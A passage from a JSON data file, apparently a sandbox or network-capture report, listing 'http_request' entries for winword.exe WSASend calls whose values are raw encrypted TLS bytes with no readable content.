  763. "http_request": "winword.exe_WSASend_p\\xc9u\\x12@$\\\n;i\\xe3e\\x02\\xeb\\xf1\\xac\\xc9\\xf8\\x1b,\\x8d\\x85m1,\\xd6\\xd7t\\x8d0u@o1\\xb6\\xf2;a\\xd4\\xaf\\{\\xfc=\\x8e\\x8cpf%!\\xfa_\\xf95f\\xd2\\x94\\xa6w\\xdb^\\xed\\x84\\xb8;\\xa0\\xfb@\\x83\\x8e\\xed\\x8f\\x85\\x13z,\\xd8\\xe2\\xa6\ns\\x9ff,c\\xce0ut\\xc4\\xac|\\xe0s\tr\\xf3j\\x02\\x8d\\x83\\xe6\\x17,\\x15\\xcd \\xc1\\xf9\\x0f@\\xa30\\x049\\xf3\\xa3\\xd2z=|h-\\xb9\\xa1\\xc1\\x1e\\xfd]\\xe7\\x1bb~\\xa4/\\x13|\\xeeqe@\\x97n\\x0b\\xe8\\xa5\\x05\\x1b,\\x12\\xf1q\\xad\\x0ei\\x9c.\\xb9@\\x92\\x10ku^\\x82[\\x88l_\\x85\\x8fdrg(\\x18\\xf5\\xe7\\xed@\\x9aq\\xd1\\x1e\\xed\\x84|m\\xdb\\xffq\\xc6e\\xbf\\xa5d\\x08\\xabl\\x11\\xb23\\xaf\\x8dg\t\\x94\\xf9\\x86\\x03j4\\xa2\\xadx\\x04\\xbc\\x087z\\xd1=d\\x0b\\x02\\x9a\\xba\\xd1~\\x8a<6&u\\x8b\\xeb\\x08\t\\x05\\xa2,\\xe0\\xd1\\xa3\\xderfa\\x87\\xdb\\x865\\x10[\\x8e\\xd1"
  764. },
  765. {
  766. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x80\\xf0&\\xfe\\xe8\\xa4-\\x7f\\xaf\\xde\\xf9\\xeeb\\xec\\xfcx\\xde@\"\\x8dfu\\x969\\xaa\\x9fl\\xba,$\\xb8\\xfdwm\\xf7\\xcf\\x7f\\xbehe\\x04\\x8b\\xef\\x82\\xe1\\x9f\\xe7\\x87\\xf7\\x99fy$\\xec\\xd2\\xfd\\x84\\xdd\\x18\\xca\\x01\\xc2a2t \\xa5{u;\\x8f\\x93\\xc6^\\x0c\\xa1\\xc9\\xe0\\x8al2\\xc7e\\x13\\x14\\xf3\\x08\\xcd\\x89\\xaen\\xc9\\x9c\\x14\\x96\\xc9\\xde#+\\x8f\\x03\\x85\\xb1\\x83\\xc7wj2\\x89\\\\xd95\"\\x12\\x07p\\xf3\\xc6?\\x8e\\x05\\x98:\\xd49\\x118\\xf3$\\xda:1^m\\xd7\\x02\\xedb\\xa6\\x89\\xe8\\xf6\\xd1'\\x11\\xb0gm&v\\x8f\\x90\\xd1su\n\\xc4\\xbc\\x16\\xcc\\xce\\xd7p\\xea\\x87<\\xfb\\xa8\\xc1\\x9bu\\x84\\xd0\\x9e\\xb3fx\\x84'\\xff\\xf2(??l@\\x93\\xd9jo\\x033\\xce\\x91\\xf2k\\x04\\xfe\\x9e_\\xea\\xbb=\\xeeal,\\xe5n\\x15\\x1e\\xe6\\xe4\\x1b\\x9c\\xfb\\xf4-q\\x94m\\xff\\xecr<nm]\\xab\\xd3/q\\x9fg\\xcd\\xce\\xf3\\xe0r!\\xcd/\\x96\\xae\\x01\\x15\\xeb\\x0b\\xc0\\x9c\\x1d"
  767. },
  768. {
  769. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x1d\\x15\\x96\\x11\\xd5d\\x04\\x81\\xa2|\\xd7\\xb5\\xadb\\xe23\\xb9h\\xd0i;nt\\xd2f\\xb1\\xbf\\xa7\\x1d\\x82\\xb5?\\x88\\xbd\\x1b\\x8d\\x04jo\\x16\\xf2\\xb5\\xc2%y\\x11\\xa4\\x8d\\xeb\\xd1\\x83\\xb8\\xe9\\x93m\\xbf\\xd75\\xff\\x01\\xcbte\\xd9\\x1bt\\x04\\xe6+\\xad\\xc8\\xe2y?`\\x1ak\\x03w\\xfc\\xea\\xd1\\x92\\x0b\\x14h*\\x9f\\x1eo\\x07\\xa1gb\\xb6~\\x1cn\\xf4i\\x94js\\xce\\xf22\\xc40q\\xc4a\\xa8\\xfch\\x9d\\xc4\\xa0\\xe0?b\\xe8br\\xec\\x98\\xe9n\\x86i\\x95@l\\x94\\xc0\\xf6\\x88\\xb4`\\xbf\\x8a<@\\xb3\\xba\\xc06\\xa7&!t\\xd3\\x89\\xd9i \\x1a\\xc8\\xf0\\xc5xb\\xac\\xdb\\xc3\\xe2\\xc5\\xban\\x84@e\\x9a\\x16\\xafn#\\x9f:i~\\xd1;\\xe9\\xac,\\xc2\\xe5*8$\\xc5 o\\x02@\\xa0>\\xd7r\\xd7\\xdc\\xfc\\xa2+\\xe8x\\xea|\\xe2\\xbb\\x0e)\\xe8$.s\\xf1sq\\xc4y\\xa8\\xd0\\x06`\\xf1\\xda\\xbd\\x01i\\x9f\\x18\\xb82\\xb5\\xe6\\xdd\\xca|{\\xf1\\xbc\\xd9\\x19\\x0c\\xc4\\x9e\\x980\\x97d"
  770. },
  771. {
  772. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x8fx\\xf3\\xfa4\\x08\\xd7w\\xba\\xb7\\xea\\xd5z6tce\\x95\\x08\\xbc\\x95si\\xc0i\\xc8\\xb9\\xa2\\x188\\xab\\x10\\xf5(\\x08fc\\xcb\\x8b\\x9a\\xfd\\xb4\\xfb_\\xe20)t\\xb3\\xf4a\\x82\\x99\\xca\\x83\\x11fk\\x0f\\x19\\xad\\xdd\\xb7dp\\x95\\xc66f5\\xcds^\\x92\\xf8[x\\x8bm?\\xce\\x8f\\x8cv\\xa8*\\xe7@\\xc9y\\xcd\rm\\xc8\\xcc\\xed\\xb9\\x0e\\xb6s\\xa9i\\x1b\\xbeqk'b33\\xcd\\xb3\\xfd\\xfa\r\\xf9\\xfdz'}\\xa0)c\\xf2\\xc55\\x0eg<\\x1c)l)\\xe0\\xfb\\x88!k\\xa8\\xfc\\xfasv\\x07\\x11\\x96wx8\\xe4\\xa1\\xfb\\xb0\\xdei\\xbc\\x1clfa\\xfe\\xd41\\xb47\\xbc\nb\\xe5\\xe9\t\\xf5\\xa4g\\xde\\xfe]&\\xd1\\xbc8\\xcb%cabyb68\\xd5q\\xaa\\xde\\x1b\\xbe\\xdf\\xe9\\xd5\\xacn\\x8d&\\xc7\\xdf4\\x9c\\xf2\\xfd\\xe6\\x93\\xe9\\x8a\\x03v~$\\xd8\\xb6\\xa8:-\\\\xb5_g\\x04\\xa0\\xb4\\xa95\\x986k\\x91,\\xe7\\xcbw\\xbd\\x00\\x1al:4\\xa8\\x88\\xde\\x9b\\xb1\\xf7"
  773. },
  774. {
  775. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010l\\xc6\\xbf\\x02\\xf6*\\xb9\\x99\\x96\\xea\\x87\\x98p\\xe6uzzr\\x08%$j\\xae\\x8f\\xfc\\x86o:g\\x0cf\\x91\\xc1w\\x1by\\xb4\\x86na\\xa8y\\xf8$2l\\xb2\\xc2o;\\x18\\xfa1\\xb3\\xec\\x145\\x88\\x1b\\x12.\\xc0\\x05^\\xf9x'\\x04s\\x93\\xa0\\xd3=r\\x98f\\x8e7r\\xd7\\x131\\x15\\xa4]\\x91\\xa0\\x9a<\\x14=\\xf9\\xa2\\x9b\\xbc\\x89\\x1d\\xd9q\\x05a\\x0bs9\\xff\\x02\"1\\xc6\\x81\\xe6];\\xe6\\xf6\\xd2\\x8a\\xc0<jo\\xfaa\\xf9\\xe4n\\xba\\xc7s\\xac\\xd07:'8\\xba\\xac\\xbc\\x10\\xa3\\xe79\\xea^\\xa4dl\\x14\\x16sc\\xea\\xa2\\xe3m#c\\xf5\\x9c\\x1b\\x88$\n=d\\x8f\\xb5{w\\xc7\\xe7\\x97g\\xbbmk\\x96\\xdd@asf\\xd2p\\x7fc\\xba\\x05\\xe8\\x8ef)\\xa2\\x99=\\xda\\xe9i#b#\\xcd{\\x05\\x08\\x9d\\xbey\\xcd\\x821q\\xfb\\x96\\x02h\n\\xd6\\xf2\\xb0a\\x859e\\xbe]\\xc2\\x10\\xb9\\x0c\\x9a~\\xd4\\x9f\\x84\\xce]'c\"\\xf5l\\xa5\\x18\\x15\\x8d#\\xac\\xec\\xd2\\xdb"
  776. },
  777. {
  778. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xcf?\\x16j\\x0c\\xb1\\xbd\t\\x13s`wu<;\\x8f\\xfcy\"\\x07ypb\\x06\\x06\\xd1\\x03%]w\\x92\\xbb\\xa3\\x90 0v]j\\x8f\\x13\\x1b\\xe5fy\\x83,\\xdf\\xb2\\x88\\xb8x\\xa2\\xf6e\\xbd\\xb8\\xc6\\x97-\\x01\\xf1t\\x15\\xd6\\xc9\\x9d\\x0f\\xbeu\\xd8\\x93\\xd9\\x0efs\\x81\\xb2?]&\\xa1\\xda\\xf0\\xb0\\xc9\\xcf\\x02+\\xa7\\xfe\\xb2\\xcew\\xc5\\xf1\\xe4\\xf5zu-\\x89\\xb2\\x81\\xdfci1!\\xe4l\\x03\\xa8\\xbc\\x10\\xe6\\x1a\\xac)w\\xc1\\x1e\\xbf\\xf2\\xfe\\x06\\x9a0\\x88 yv\\xadpgz\\xa2\\xd6<\\xa3\\xa4\\xfb0c!\\x1f\\xf5\\xb2m\\xf4\\xb7\\xf2c\\x1a\\xcd\\x97\\x1c\\xf0\\xbaa\\x7f)\\xd4\\xa9&\\xdf\\xdf\\x86\\xb2ve\\xd9\\xf9\\xd5a\\xd2\tlf\\xd8\\x88\\xb6\\xad_\\x1f\\xbd\\x8f\\xe0au>@\\xfb\\x97j(3r\\x18\\xa4$\\x07\\x19\\x90\\xd1\\x9c\\xa8\\x8f\\x11tg9\\x04\\xee\\x82\\xc8\\xde]3s\\xcc\\x95\\xf4\\xa7\\x1e6\\x03\\xd0\\xc3\\x8b\\x9d\\xd3\\x14\\x92a*k\\x0ez\\\\xecx\\x12d\\x10c\\xdc\\xc8u\\xeb\\xf1"
  779. },
  780. {
  781. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xe0\\x1db\\x16\\x8e\\x1f$k?\\xbev\\x1a\\xb6\\x97\\x7f\\xf6t\\x03\\x95\\x91\\xac {x\\x95\\xc4\\x89 f\\xa4\\xea\\x06z\\xffy\\x8f\\xe9:\\x04ii\\xd5\\xb1n\\xdf\\xedwlr\\xa9^\\xe9\\x0f\\xe9\\x83\\xfc\\xd33\\xc2~\\x1c\\xb1\\xba\\xe0\\xdf\\xd0\\xd9\\xfe\\xce\\xe3\\xe6<ua\\xd1\\x0f\\xa6;s\\xc0\\xd5\\xb5\\x0c\\x89`\\xd27z\\xb4 d\\xb4\\x14\\xd4\\x17\\x9c\\x7f\\xfb\\xd9#\\xae\\xbcg>\\x10\\x14\\xda*\\xf8`\\xa8\\xb7\\xea\\x82\\x10u\\xf3\\xddq\\x96b\\x86-)\\xc4\\xd6s\\x17\\x0e\\xcc\\xc7\\x9dh r\\xb8\\x94\\x17\\x08lb\\xebe\\xbd(t?\\xd3\\x1e\\x07\\xb5\\xf8\rs\\xee\"\\x7f\\xd3smmyznt\\x1cx\\x937\\xbd\\xb7\\xa1\\x83\\xe0`y\\x9d\\xc6e\\xcb\\xcad\\x85'\\xc8fi*\\xd1ni\\xd2$\\xe7i\\xbe4\\xbe\\x8b\\xec\\x89\\xa97 [\\xe9.\\x9d\\xe7\\xacg\\xf8g\\xb4\\x9b\\xc0n\\x18\\x1c\\xe4\\x14\\xcek&8~o\\\\xd8l\\xb4/\\x0b\\x9b:\\xc9\\xb9\\x9c2\\x152$w\\xfe[\\x13+\\x07\\x8f\\x0ev"
  782. },
  783. {
  784. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xce\\xa8\\xa7*x\\x89jl\\xbb\n\\x96+;\\x11e\\x1ap\\xa9cc5\\xadqu+\\xb5\\xa2\\xc1k\\x9d\\x82\\x15\\x07\\xef\\xcc\\xb8.\\xb0\\xc9-ae\\xb8u\\x00 \\xd8\\xb7\\xcb\\x9bq\\x17\\x97\\xbd\\xe9\\xf0\\xbc\\xc4\\xd8g\\xd7\\xa5\\xeb\\xf9\\xbe\\xdd*\\x19]h\\x1d\\xca ^\\x195\\xa8\\x88\\xcc\\x15\\x93\\xd6\\x87\\x93y\\xec\\xa7.\\x86\\xab2\\xcb\\xbc{6\\x06\\x8e\\x8d\\x92\\x89\\xd3 \\x9d\\xad\\xa0\\x14\\xcc\\xa0lo\\x9b(e\\xd3\\xb2\\x04xq@\\x9ac!4fe\\x93\\x86\\x883n\\x0ee\\xbfh\\xb2\\x1c\\xca\\x0c\\xc9][5\\xfe\\x89i\\xdb\\xe0\\xa1&\\xd3i\\x14@\\xd6\\x07\t7\\x10\\xb0\\x8a#\\x8ep\\xf3\\xdd\\x86\\xae\\xc3l\\xb8\\xba\\xf6\\xb1\\xacp\\x96$\\x98\\x14\\x7f\\x15<\\xfb\\xae\\x1b\\xcf\tvn\\xd4l\\xca\\xcf>\\xbb\\xf3\\xe2\\xf6\\xf1`\\x16ex\\x0fsdm2\\xfa\\x92\\x96\\xfeg\\x13\\x1b)j\\x0e\\x91\\xb2\\xe7\\xc5\\xa9\\xf0\\xfa\\xc1\\xfe\\xbf\\f\\xbfuoe\\x89\\xbb\\x12\\x8fx\\xfa\\xb4m\\xb39&\\xc3\\x0e\\x1e\\x06 \\xf4"
  785. },
  786. {
  787. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010m`\\xf2h\\x99\\xcb\\xb2=c\\xc2`ot\\xe8\\xf1\\xba7\\xdf\\xe7\\x8e\\xba|\\xaf\\xdd\\x0f|\\xfa\\xd4-\\x91\\xec\\xc6&\\xaf\\xb4r,\\x8ei7cl\\xde\\xfbo\\xba\\xd4\\x89\\xc9)\\xaf\\x90\\x12v\\xbe\\xfb\\xe7\\xc6\\x08\\xf4\\x1ba_\\x92\\xa0\\x13a2\\xaf\\xee\\xcadq5.\\xc3g@\\xb3!\\x06\\x18\\x8ez\\xfb\\xf97*e\\x9e\\xfb\\xc6)\\xa2ea1r\n\\xe5\\x94)f-e\n\\x86\\x07tt\rl\\x87\\xe6t8\\x05l\\xf6\\x18\\xf2\\xa2\\xec\\xea\\x04\\x9d\\xe9\\xf1\\x84j\\xf7cl#p\\x9f\\xc5\\xd4gq\\xb5\\x81\\xafk\\xec|\\x1f\\x93\\x89\\xae\\x12\\xe5r3t\\xa0yi\\x87\\xed1x\\xd8\\xc1\\x85\\x91\\4\\xa6\\x88\\xfbw\\xc9\\x9c_9oj\\x12\\x104\\x86\\xb9\\xc5\\x96\\x80j\\xe1\\xfe\\xa2\\x95\\x05~\\xc7\\xc4\\xd3{\\x89\\xa94\\xdcyx:\\x84%e\\x9bz\\xce\\xba\\xf3\\xf4\\xb6\\x95(\\x11\\x7fo\\xfeii%\\x8br\\x97\\xf9\\xb1\\x81\\xafa\\x16\\x9b\\x82b;\\xac\\x89\\xdebz/5 \\x9f\\xbc\\xac<%\\xb2b"
  788. },
  789. {
  790. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x19\\x95\\x7f\\xfc*z1\\xa2\\xa5qfv\\xbe\\x91h\\xda\\xa1\\x14\\xb7\\x98~\\xbd\\xd9\\xcar\\x016\\xde\\x01\\xb1\\x9b\\x8e\\xc5\\xd9\\x8a\\xf9\\xa4\\x9e\n\\x87p\\xf5g.\\xe1\\xd43\\x9b\\xba@\\xdf\\xac\\x14\\xef\\xc7/\\xeb\\xa8\\xd2\\xc8\\xe3\\x08\\x105'x.\\xf2(vavrvp\\xb7\\x11\\xef\\xe7b<\\x81\\xf6xg\\x13\\xbe\\xb6i\\xf5+\\xb4\\xc9\\xdd\\x01\\x16\\xf2t5\\x01\\x0e\\x88 2\\xfb\\x893h-\\xc4\\xc5'\\x80\\xa0\\xd4\\x94\\xcfh\\x8ds\\xf5\\xc4m\\xd6\\x11\\x1b\\x12\\x1f{\\x06n}\\x8a\\x8b\")\\xaa\\xcdi\\x0b\\xef\\xa6\\x86\\xb6\\xf0\\xc5\\xf4\\xbf\\xe0\\x08\\xba\\x9d-\\xe6\\x8d\\x8fj\\x88\\xcee\\xe7\\x91\\xd2\\xb4\\xf0\\xe1-n\\xfd\\x88u\\xac\\xf9\\xd6\\xf1<\\xb7\\xf5\\x1ap\\x02\\x05\\xa4\\xd76\\xe4\\x9d\\x02\\xdd\\x17\\xdfw\\xc8c\\xc3;9\\xb7\\xd3\\x90\\xd2\\x91\\xff\\xdf\\x05\\xc7\\xa60fo\\x81\\xb5d\\xde\\xcf\\xe6\\x01\\x1am#\\xd3q\\x88\\xf9\\xb7\\xf3\\x973_\\x80f\\xb4\\xf1\\xd0\t\\xa4\\x1c\\xa7\\x16'\\xc9\\xc4\\x1cv4\\xd03\\xda\\x9bi\\x89"
  791. },
  792. {
  793. "http_request": "winword.exe_WSASend_\\xa8\\xddv\\x12\\xe0!w\\x12\\x7fw\\xbb\\x12\\xb2\\xc7\\xdbme%u\\xb0\\x16y]!k\"nl\\x02\\xdf\\xfe\\x94\\\\xf6\\xadq\\xa8:&v\\x8e\\xfcp3omy\\xdd-q\\xb3\\xcc\\xac:\\xc3\\xbb-p\\x82\\x8b\\xbbm\\x8dc\\xb5\\x13\\xad\\xfe\\xd1c\\x02y\\x1d\\xfbslmx\\xcagr\\xbb\\xe8n\\x02\\x03k\\xc0\\x9d\\xcf9\\xe5\\xe2\\x85\\xd2\\xa0\\xb9\\xcd\\x95\\x9c\\x8ff\\xf0v\\x1fb<\\x948\\x7f\\xf6\\x10!z\\xc2s\\x1a}\\xd9lz\\xe9\\xb9\\xeb\\xe4\\xc5b\\xed\\xc8\\x82\\xfd\\xd3\\xc9\\xe7\\x81\\xecq\\xf4\\xd8\\x8b\\xb3\\xbf\\xf9\\x11m\\xd9\\xca\\xcf\\xa1\\xa9\\xd3_\\x94/\\xf5_\\x94\n\\xd0\\x1c-r$\\x9a\\x18^\\x90\\xf1u\\xbd\\xdd\\x89a\\x19}\\xf7c[\\xd9\\xde\\x08@w\\x86\\xcd\\x02\\xa09\\xe7\\x83\\xca\\xa3\\x1f\\x00&y<\\xf0\\xc8q}\\xcc\\x8e\\xe9\\x06\\xe2\\xa4\\xd3\\xafx\\x9fb%?\\xe7/\\x16j\\xb9\\x92^p\\xac\\x07\\xc3\\xb2\\xbd\\x0f\\x89\\x12j\\xa6\\xc9\\xf6\\xaa\\xc8\\x9c\\x95o\\x0fe\\xd1!\\x9f\\x19\\xaczmv\\xf6\\xcd\\x9d\\xe9~z\\x03"
  794. },
  795. {
  796. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xff\\xd0\\xb3\\xd2\\xc6\\x9b\\xb8\\x86?\\xcf}\\xc3b\\x10\\x7f\\xeb7p4cp\\x92\\x94f\\x95\\x91\\xc6\\xfa\\x95\\xec\\xfc\\x17y\\xc4\\x0f\\x05\\xd7ia6\\xc6a\\xfe- \\xda\\x07\\x15\\x9c\\x07\\xc0g9\\xa7r:\\xa5\\x83\\xf8\\x16l'k\\xb8\\xe1\ra9\\xacy'\\x94\\x1a\\x08\\xc1\\xf1\\xae\\x99t\\x14h\\x0c\\x9c\\x12[\\xb1\\xef\\xc8\\x8561\\x9c\\xdd\\x08\"\\xca\\x9a\\x0b$h\\xe1\t`\\xa9z\\xa7\\xfc\\x8bvz[<\\xe5f\\xf0_\\x88\\xb4\\xc2\n\\x9bd\\x94|\\xbc\\x9b\\xcc\\xea(\\xe3\\xf0\\xa5\\x0f\\xc8\\x0b\\xcbx?fvpv\\x19\\xe1b!m\\x9cp-5g\\xb1[{\\x1c_d\\x80^\\x06g\\xcd\\x8a^\\x8d\\x1e\\x12\\xd5\\xb0\\xb7q\\xec\\x06nc\\xfd\\x88\\xc5\\xe0\\x93\\x97\\x18\\x0b%=w\\xe5\\xaa\r\\xb6\\x80\\xaf{i\\x8b\\xba\\x02\\xec\\x89w\\xef\\x80\\xdf\\xaf\\xb1l\\x04\\xf8\\x81k\\x83i\\xcc\\xa0q\\xb8|\\x8d\\xd4h\\xb8\\xab\\xdck8\\x1a\\xdfh\\x12\\x10.ke\\xad!s{\\xba\\x7f8\\x10\\x9c\\xc2au\\x8a\\x11c\\xbc\\x88"
  797. },
  798. {
  799. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x05\\x9e\\xee\"\\xb2\\x10p\\x8c\\x94\\x12\\xea\\x9c\\xdfwjh\\x98\\x05\\xa7e\\xca\r\\x81{+&w\\xd1\\x8b\\x9a%\\xeb\\x95\\x90<\\x00\\xb4\\x94p!\\xca\\xcbb\\xed\\xa6\\x7f67\\xb6 \\x1f\\xd9\\xd8\\x17\\x06\\xf5\\xa9\\x10\\x996u=,z\\xee\\xc0\\xe0y\\x1b\\x80j\\xe5\\xc5\\xbb\\xb6?\\xa2\t\\xc9s\\x97\\x14z\\x94\\xc4\\x98\\x90~n3\\xe2\\xbf\\x83j2'\\xb2&\\xb3\\x9a\\x07\\x1e\\xd5\\xc6\\x1d{s\\xcb\\xde\\xf3!\\xf0\\xee`/\\xedjy4\\x18\\x9av\\x98/k\\xb9\\xd7\\x18@\\x9a\\xe3\\xe9\\x06s-\"\\xe5\\xa8,\\xc7rj\\x9d&\\xed\\xea\\xb1l\\x01\\xa3\\xa2\\xbd\\x94\\xa2\\x12\\x91\\xac\\xcb\\xcbqz*n\\xf7\\xa7\\xc5gv\\xad\\x92\\x86h\\x98\\xaa\\xb8\\xc8d\\x9c\\xa8\\x84y?+\\xc3c\\x04a#\\xb5\\x10v\\xf6\\i$\\xfb\\xe75\\x1ead\\x1cb\\xac\\x18n\\x9dn\\xa1\\xcff\\xdf;\\x91@@\\xea\\x92\\x1b>\\x06*\\xcai\\xec\\xae\\x8f\\x14\\x80\\x86v\\xa8\\xd4\\xf8j\\x8e\\x18:p0n\\xe9\\\\xad\\x19\\xdb^\\xc5\\xdd\\\\xa5"
  800. },
  801. {
  802. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010e\\x96\\x8f\\xda\\x99\\xb3\\xaf\\xbcv\\x8a\\xd5e\\xd8\\x07d\\x1f\\xc9\\xe4\\x01\\xfe\\xe5u0az\\xd8\\xbf)\\xa0\\xec\\x06\\xd1\\xcf\\xff\\x98\\xc2od\\xe8\\xc2\\xdd\\x82v\\xbe\\x80\\xe1\\xd9\\xcas7\\xc3\\xf2u\\x19\\xe5*\\x95@#\\xd4\\x08\\xb7\\xf2\\xa4:\\x184\\xde\\xe5\\xc5\\x18\\xf4\\xc8\\x84\\x83z\\x08\\xfe\\xf2\\xabo\\xd4\\xbe4\\x86\\x81t\\x10\\x05\\xd7\\xb1\\xf5\\xbc\\xce]\\x96\\xc5\\xd1l\\x07'-q\\xc8\\xc1\\xcc\\xc3\\xfa\\x8al\\xe0\\xee\\x970\\x98\\xaf\\x8bm]^\\xb7p\\xaf\\xe9\\x85\\xbfa!\"\\x18s\\xb8c\\xa9q\\xae\\xd7t\\x11\\xb4\\xccf\\xc0\\xde\\xb7\\xe7\r!\\xc8\\x89\\x89g\\xa7t\\xe5\\x84\\xd9'k\\x97f\\x90\\xbd\\xbd2o\\xd3\\xe5m\\xf6\\xc4\\xb4\\x80-\\x05lq\\xa5a\\xca\\xfc\\x19\\x93 p\\x023\\x96\\xc4\\x1c\\xe9u\\x14\\xe9<\\xb7\\xf9j?&\\xafr\\xef\\x90\\xf7!o\\xd0\\xaea*\\xbf\\x9f\\x18\\x13\\xa8\\xe2\\xfa\\xbb\\x91\\xdb\\xfd\\x86\\x9f)\\xe6\\x94\\xf1\\xccq\\xe8w\\x96\\xa0\\xd3\\x93i\\xb2\\xca\\xe9+\\xeei\\xaea!\\x86f,0d"
  803. },
  804. {
  805. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010s%w\r\\x80*\\xa4\\xd5\\xa2\\xf8\\xe4\\x01i\\xee\\xdf\\x02\\xcc\\x04y\\xf6\\xe9\\x8f\\x15\\xe3\\x04\\x9f\\xc2s\\x0bqa\\xa9\\xd8\\x9b\\xa5\\xc2\\xa9\\x8b*q<c\\xc6\\xbe:7p+a\\xbau\\xaa\\x80e\\xd0\\x9b&\\xb9.\\xb0\\xa6y\\xcab\\x8b\\x1e\\x13'v>\\xc0\ri\\x13/\\xcaz\\xe9@\\xaa{\\x1c\\x0b\\x07\\xac\\xec\\xda^v\\x14\\xd8x\\xcb\\xb9\\x8b\\xf0\\xb4\\x88.\\xa2\\x99\\x0fa\\x82\\x1a\\xad\\xc7'\t_y5f\\xf1j2\n\\xbd\\x0fj8\\xcd\\xd7\\xa23>\\x81\\xf1w\\x18(\\x1a\\xbcv\\xd8\\xc5e,\\xec\\xb8\\x82\\x9f\\xc9)]\\xfa'\"\\x04\\xfb!\\xaa\\xfc{\\xf7\\xda\\x80\\xb1\\x0c\\x04\\x83\\xf1r\\x86i\\xea\\xfa\\x03\tu\\xd5\\xfdkqs\\xc3\\xc4\\x1c\\xd4w\\xbd@\\x85\\x04\\xda\\xaf\\xecm;\t\\x9e\\x17\\xf29\\x166i#\\xb5a\\xc5\\x97\\x95qzzg(\\x17>\\x9c\\x80\\xa0a\\x08e\\x12b\\xe4\\x8e\\xd3j\\x10\\x1df\\xe1\\x0c\\xe0\\x95\\x9f\\x8f\\xb7\\x9f'\\xd4\\x8a\\x1d\\x9f\\x15\\xe5\\x84\\xaa`\\x9f\\xcc\\xcc\\x86\\x97\\x10\\xff\\x7f"
  806. },
  807. {
  808. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x16j3\\x13%\\x11\\xe1 s\\x98e\\xd7[\\xe4\\x8bo'e\\xd1v\\xaex\\x83\\xa9\\x86\\x1e'\\xd7hx\\xac\\xdd/\\xf1\\x87i\\xfb\\x1d\\xb7\\xf6\\x18\\x1e\\xc5t\\xb4l^f?\\xed\\x18pi\t\\xe4\\xb5\\xaez'\\x9f\\xa9\\xf0zb\\x8f\\xb84\\xcb\\xaes\\xb1\\xfd\\xb8\\x15]\\x98e \\xb5\\x92\\xeb\\x97\n\\x86\\x8e\\\\xcd\\x9c\\xe1`a\\xffc\\xb4k\\xf5\\x83h#63im7\\xaf\\x1f\\xab\\xe4\\x8e,g3\\xbc\\xb1e\\x128\\xc2\\xdc\\x97\\x9d\\xf7|\\x12\\x7f\\x0e0\\x07\\x9b\\x10\\x15\\xccj\\x8b\\xeeo\\x94\\x82\\xa5\\x98\\xba[p\\x80\\xf5a\\xc6y\\xccr\\xb7\\x15\\xff\\xab\\x1b2x\\x89\\xcc\\x0b\\x87z\\xe2\\x94\\xfb~m\\xca-\r3kg\\xc3.jb\\x85\\x19\\x80\\xbd\\xf7t\\xf0\\x94\\xcd\\xc8t\\x82\\x1e^66i\\x0c\\xe9\\xd7n\\xb9\\x9a8,g$\\xb7l\\xcc\\xcdqa\\xeftk\r\\xd1mog\\x92\\x07\\xa40\\xff\\xb0\\xa4q_ \\xed\\xaf\\x100\\x83h\\xc8\\xd4\\xff\\xb8\\x05\\x92a\\x85\\xce\\xb9\\xbd\\x1b\\xa0p~hw"
  809. },
  810. {
  811. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xb1\\x89\\xd0.\\xbf\\xb6\\x8c\\x89\\xff\\x95;\r\\x94g\\xdf\\xc6\\x9a\\xba\\xec\\x13i\\x1a\\xf4#\\xed@c\\xfc\\xce\\xd7\\xdba\\xd3\\x0e\\x95\\xef\\xf147\\x9c\\xaf\\xa9\\x84\\xfey\\x18\\xe4zq\\xf4\\x87\\xe46g\\xcc\\x1fq\\xcf\\x14,\\x80\\xaf\\xca\\xb3\\x95\\xf2\\x18\\x1b\\xc2s\\xb6\\xd9\\xbbca\\x0e\\x1ah\\xd7\\xcf\\xffn\\xb7\\xd3\\xba\\xc0j\\xf3f\\xb5\\xc1\\xf6\\xde\\xc8\\xa2\\xe1\\xcd\\x9e\\xe8\\xe5z\\xfcb\\xda\\x14\\x05o\\xf5\\x03f\\xa0\\xde\\xa0(_\t|y\\xf6\\xde\\xc37\\xcc\\xfb7c\\x94\r\\x84|s=k\\x8b\\x88\\x85\\x17\\xe7\\x1a\\xb3\\x80\\x06$%6\\xdb\\x96\\xc1\t#:\\xad\\xe6im\\x85\\x19\\xcaa\\x15\\x96\\x06\\x92\\xabcj/\\x8egr\\xb8\\xe3dh\\x12q\\x0f*+\\xb0\\xbb\\xb5\\xcf\\x1d\\x08\\x81,\\x0e}i\\xdc\\x8e\\xc0y:7o\\x8c\\x8c\\xd6\\x7f v\\xeaf\\x1dq\\x0b\\xa2b\\xb3\\xc5g\\x02(o`c0\\x91\\xb3\\xe0\\xd3\\xef\\x93ue\\xded+\\x15\\x06\\x8f\\x19\"fj\\xe5\\xfb\\xc8\\xb6\\x06\r\\x11b\\x18\\x84&\\xfc\\xf5\\x1e"
  812. },
  813. {
